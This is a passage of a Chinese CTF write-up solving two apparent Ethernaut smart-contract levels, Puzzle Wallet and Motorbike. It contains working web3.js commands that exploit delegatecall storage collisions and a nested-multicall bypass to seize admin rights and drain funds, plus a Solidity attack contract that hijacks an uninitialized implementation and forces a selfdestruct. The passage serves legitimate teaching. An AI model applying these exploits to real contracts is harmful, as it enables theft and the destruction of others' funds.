        balances[msg.sender] = balances[msg.sender].sub(value);
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

题目说明中,最终要求我们成为PuzzleProxy的admin,分析一下代码,PuzzleProxy合约继承了UpgradeableProxy,我们可以通过先执行proposeNewAdmin让自己的地址成为pendingAdmin,然后再执行approveNewAdmin来成为admin。但问题在于,approveNewAdminonlyAdmin这个限制,因此需要考虑如何绕过。

然后题目控制台中的contract实际上是下面的PuzzleWallet合约。查看该合约可以发现,除了addToWhitelist函数,其他的都要求我们先把自己的地址加入whitelist才能调用,然而addToWhitelist又要求msg.sender必须等于owner,查看一下可以发现owner是PuzzleProxy的地址,因此这条路到这里不通。可以看到,到这里为止,题目中给出的函数代码好像只能调用proposeNewAdmin,看起来本题好像无路可解。

这个题首先考察了对delegatecall的理解是否深入,在第6关题解中已经说明,delegatecall调用实际上相当于把对应合约代码迁移过来,而代码执行的context还是本合约。有了这一点理解后,我们画一下题目中两个合约的storage图,针对PuzzleProxy如下

=============================================
        unused     | pendingAdmin                
---------------------------------------------       slot 0
       12 bytes    | 20 bytes 
=============================================
        unused     | admin                
---------------------------------------------       slot 1
       12 bytes    | 20 bytes 
=============================================

针对PuzzleWallet如下

=============================================
        unused     | owner                
---------------------------------------------       slot 0
       12 bytes    | 20 bytes 
=============================================
        maxBalance               
---------------------------------------------       slot 1
       32 bytes
=============================================
        whitelisted               
---------------------------------------------       slot 2
       32 bytes
=============================================
        balances               
---------------------------------------------       slot 3
       32 bytes
=============================================

我们唯一可以调用的函数proposeNewAdmin,实际上是对slot 0的的设置,但是,如果PuzzleWallet使用delegatecall调用proposeNewAdmin,由于delegatecall的特性,它实际上修改的是owner,于是就可以控制第二个合约。由于题目里的contract合约对应的是PuzzleWallet合约,因此我们需要手动调用一下PuzzleProxy,具体方法如下

functionSignature = {
    name: 'proposeNewAdmin',
    type: 'function',
    inputs: [
        {
            type: 'address',
            name: '_newAdmin'
        }
    ]
}

params = [player]

data = web3.eth.abi.encodeFunctionCall(functionSignature, params)

await web3.eth.sendTransaction({from: player, to: instance, data})

//检查一下owner
await contract.owner()==player

通过上述调用我们已经成为PuzzleWallet合约的owner,下一步是添加自己的地址进whitelisted

await contract.proposeNewAdmin(player)

我们的最终目的是要修改PuzzleProxy合约的admin属性,对应的方式就是在PuzzleWallet使用delegatecall修改maxBalance属性,这里initsetMaxBalance两个函数对maxBalance进行了设置,但是由于init的require检查,我们无法调用,因此只能考虑调用setMaxBalance函数,而要调用这个函数,就需要使合约余额清0。

但是观察代码可知,execute取款函数在取款时检查了我们的余额,我们只能取出自己存入的余额,而合约初始就有0.001ether,只靠这个函数是无法让合约余额清0的。需要使用multicall函数。

multicall函数的设计目的是同时进行多次函数调用,换句话说,可以在这里多次取款,但是为了限制这一点,函数中通过如下代码检查是否是第一次调用deposit函数,由此限制了我们只能调用一次deposit函数

if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }

看起来写的逻辑很好,但由于这里使用了selector来比较,那么我们只需要换个方式调用deposit函数即可绕过。这里的方式是,我们调用depositmulticall(deposit),也就是在multicall内部再调用一个multicall,内部的这个multicall调用第二次deposit,这样第二次调用时,实际上selector对应multicall的签名,因此可以绕过检查。

写到这里莫名想到了前几天spring core rce那个修复ban了classloader关键字,然后使用class.module.classLoader绕过的方式。那个修复代码里使用的是对输入进行字符串比较,看输入内容是否含有classloader关键字,感觉跟这里比较函数选择器有点像。

按照上面的思路,我们调用multicall,且调用deposit()multicall(deposit())函数,设定value值为0.001 ether,那么balances[player]就会加两次0.001 ether变成0.002 ether。但由于我们实际上只发送了0.001 ether,因此合约实际的余额balanace为0.002 ether,此时balances[player]和合约余额数值相等,因此再执行一次execute全部提款即可,具体代码如下:

// 获取deposit()函数的签名
depositData = await contract.methods["deposit()"].request().then(v => v.data)
// 获取multicall(deposit())的签名
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
// 调用2次deposit
await contract.multicall([depositData, multicallData], {value: toWei('0.001')})
//检查一下,可以发现balances[player]确实变成了0.002 ether
fromWei((await contract.balances(player)).toString())
// 直接取款即可
await contract.execute(player,toWei('0.002'),0x0)

ok,余额清0,最后一步设定maxBalance

await contract.setMaxBalance(player)

由于它跟admin在同一个slot上,因此成功设定了admin为我们的地址,pwned。这个题真是太牛逼了,触及我的多个知识盲区,主要是evm对函数和参数的底层编码不太了解,以及不太熟悉web3.js的api。

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

这个题目算是上面题目的简单版本,本题的最终目的是要让合约执行selfdestruct函数自毁。get new instance后,在控制台里交互的contract的地址,实际是Motorbike合约的地址,而Engine合约则被部署在了_IMPLEMENTATION_SLOT上,因此部署合约后,首先读一下Engine合约的地址

slotaddr = '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc'
await web3.eth.getStorageAt(contract.address,slotaddr)

拿到Engine合约对应的地址为0x1f4dbbf9fb6e962e74559832d2882451da91470a,注意到这里有两个变量upgraderhorsePower,然后使用getStorageAt去读一下,发现它们内容都为0,说明此时Engine合约还没有执行 initialize()函数。因此,我们可以通过外部调用Engine合约的initialize()函数,来让Engine合约的upgrader变成我们的地址。

又由于upgradeToAndCall函数调用了_upgradeToAndCall函数,而_upgradeToAndCall内部执行了

(bool success,) = newImplementation.delegatecall(data);

这里newImplementationdata都是完全可控的,因此在这里设置newImplementation为我们自定义的恶意合约地址,data设定为自毁函数的function seletor值,由于delegatecall是在本函数的上下文执行的,因此执行远程函数代码中的selfdestruct时,这个合约就会自毁,从而达到题目条件。

思路如下,攻击代码如下:

//SPDX-License-Identifier: MIT
pragma solidity <0.7.0;

contract attack{

    address target;

    constructor(address _addr)public{
        target=_addr;
    }
    function step1beupgrader()public{
        bool succ;
        (succ,)=target.call(abi.encodeWithSignature("initialize()"));
        require(succ,"step1 failed!");
    }

    function step2exp()public{
        bool succ;
        DestructContract destructContract = new DestructContract();
        (succ,)=target.call(abi.encodeWithSignature("upgradeToAndCall(address,bytes)",address(destructContract),abi.encodeWithSignature("sakai()")));
        require(succ,"step2 failed!");
    }
}

contract DestructContract{
    function sakai() external{
        selfdestruct(msg.sender);
    }
}

执行step1beupgrade函数后,再去读Engine合约的storage值,可以看到slot 0,也就是upgrader确实变成了我们部署的合约的地址,而slot 1,也就是horsePower的值,确实变成了1000

然后执行step2exp,执行后查看Engine合约对应的地址,可以看到这里提示已经self destruct,攻击完成,提交即可。

完结撒花!


文章来源: https://xz.aliyun.com/t/11159
如有侵权请联系:admin#unsafe.sh